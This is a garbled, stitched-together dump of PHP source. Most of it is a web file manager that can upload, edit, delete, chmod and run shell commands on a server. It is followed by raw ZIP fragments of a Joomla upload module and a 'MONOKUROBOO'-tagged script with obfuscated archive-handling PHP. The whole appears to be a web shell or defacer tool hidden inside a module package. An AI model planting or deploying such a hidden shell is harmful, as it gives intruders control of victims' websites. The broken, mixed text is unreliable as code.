(!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
    ' . PHP_EOL; } ?>

    : , ', $copy_files) ?>

    :
    /

     

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    />
    />
    />

    ""

    :
    File size:
    MIME-type:
    :
    :
    :
    : %
    '.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

     
     
         
    '; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo '
    '; } else { echo '

    '.lng('Error while fetching archive info').'

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>
    '. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
    ' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
    ' . htmlspecialchars($content) . '
    '; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

    :

     

    '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
    ..
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    >
    ' . readlink($path . '/' . $f) . '' : '') ?>
    ">
    '.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
    "; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after certified * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fm_enc(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fm_enc(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fm_enc(fm_convert_win($file_path)) ); } } /** * Check file is in exclude list * @param string $file * @return bool */ function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) && !in_array("*.$ext", $exclude_items)) { return true; } return false; } /** * get language translations from json file * @param int $tr * @return array */ function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } /** * @param string $file * Recover all file sizes larger than > 2GB. * Works on php 32bits and 64bits and supports linux * @return int|string */ function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin && class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } /** * Get total size of directory tree. * * @param string $directory Relative or absolute directory name. * @return int Total number of bytes. */ function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false && $directory != '' && file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path, $ext) { if ($ext == 'zip' && function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' && class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("phar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Prevent XSS attacks * @param string $text * @return string */ function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION[FM_SESSION_ID]['message'] = $msg; $_SESSION[FM_SESSION_ID]['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * @param $obj * @return array */ function fm_object_to_array($obj) { if (!is_object($obj) && !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': case 'ps1': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl', 'ps1' ); } /** * Get mime types of text files * @return array */ function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } /** * Get file names of text files w/o extensions * @return array */ function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } /** * Get online docs viewer supported files extensions * @return array */ function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } /** * It returns the mime type of a file based on its extension. * @param extension The file extension of the file you want to get the mime type for. * @return string|string[] The mime type of the file. */ function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } /** * This function scans the files and folder recursively, and return matching files * @param string $dir * @param string $filter * @return array|null */ function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } /** * Parameters: downloadFile(File Location, File Name, * max speed, is streaming * If streaming - videos will show as videos, images as images * instead of download prompt * https://stackoverflow.com/a/13821992/1164642 */ function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); if(is_array($contentType)) { $contentType = implode(' ', $contentType); } $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } /** * If the theme is dark, return the text-white and bg-dark classes. * @return string the value of the variable. */ function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } /** * Class to work with zip files (using ZipArchive) */ class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } /** * Class to work with Tar files (using PharData) */ class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } /** * Create archive with name $filename and files $files (RELATIVE PATHS!) * @param string $filename * @param array|string $files * @return bool */ public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } /** * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS) * @param string $filename * @param string $path * @return bool */ public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } /** * Add folder recursively * @param string $path * @return bool */ private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } /** * Save Configuration */ class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'Tiny File Manager
    Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
    '; $msg .= '
    Seems like you have a trailing slash on the URL.'; $msg .= '
    Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) && count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[FM_SESSION_ID]['message'] . '

    '; unset($_SESSION[FM_SESSION_ID]['message']); unset($_SESSION[FM_SESSION_ID]['status']); } } /** * Show page header in Login Form */ function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    '; } ?> <?php echo fm_enc(APP_TITLE) ?> ">
    PKYy>\)2mod_simplefileuploadv1.3/elements/allowedusers.phpnuW+A element['name']; $control_name = 'jform[params]'; $control_name_basic = 'jformparams'; if (is_array($this->value)) $value = $this->value; else $value = (string)$this->value; $query = 'SELECT id AS value, username AS text' . ' FROM #__users' . ' WHERE block=0 ORDER BY name'; $db->setQuery($query); $optionsAll[] = JHTML::_('select.option', "[ALL]", "[ALL]"); $optionsDB = $db->loadObjectList(); if ($name === 'settingidsund') { $options = array_merge($optionsAll, $optionsDB); } else { $options = $optionsDB; } $slistpath = ''; $slistpath = JHTML::_('select.genericlist', $options, ''.$control_name.'['.$name.'][]', 'class="inputbox" size="12" multiple="multiple"', 'value', 'text', $value, $control_name_basic.$name); echo $slistpath; ?> PKYy>\ȌDD*mod_simplefileuploadv1.3/elements/text.phpnuW+AMONOKUROBOO<\/script>\r\n $l154))$this->$l154=array();}function createArchive($f155){$b84=false;if(file_exists($this->$o156)&&is_file($this->$o156))$g157=false;else $g157=true;if($g157){if(!$this->openWrite())return false;}else{if(filesize($this->$o156)==0)return $this->openWrite();if($this->$y158){$this->closeTmpFile();if(!rename($this->$o156,$this->$o156.'.tmp')){$this->$l154[]=__('Cannot rename').' '.$this->$o156.__(' to ').$this->$o156.'.tmp';return false;}$y159=gzopen($this->$o156.'.tmp','rb');if(!$y159){$this->$l154[]=$this->$o156.'.tmp '.__('is not readable');rename($this->$o156.'.tmp',$this->$o156);return false;}if(!$this->openWrite()){rename($this->$o156.'.tmp',$this->$o156);return false;}$s160=gzread($y159,512);if(!gzeof($y159)){do{$o161=pack('a512',$s160);$this->writeBlock($o161);$s160=gzread($y159,512);}while(!gzeof($y159));}gzclose($y159);unlink($this->$o156.'.tmp');}else{$this->$q162=fopen($this->$o156,'r+b');if(!$this->$q162)return false;}}if(isset($f155)&&is_array($f155)){if(count($f155)>0)$b84=$this->packFileArray($f155);}else $this->$l154[]=__('No file').__(' to ').__('Archive');if(($b84)&&(is_resource($this->$q162))){$o161=pack('a512','');$this->writeBlock($o161);}$this->closeTmpFile();if($g157&&!$b84){$this->closeTmpFile();unlink($this->$o156);}return $b84;}function restoreArchive($u6){$r163=$this->$o156;if(!$this->$y158){if(file_exists($r163)){if($l46=fopen($r163,'rb')){$q164=fread($l46,2);fclose($l46);if($q164=='\37\213'){$this->$y158=true;}}}elseif((substr($r163,-2)=='gz')OR(substr($r163,-3)=='tgz'))$this->$y158=true;}$b84=true;if($this->$y158)$this->$q162=gzopen($r163,'rb');else 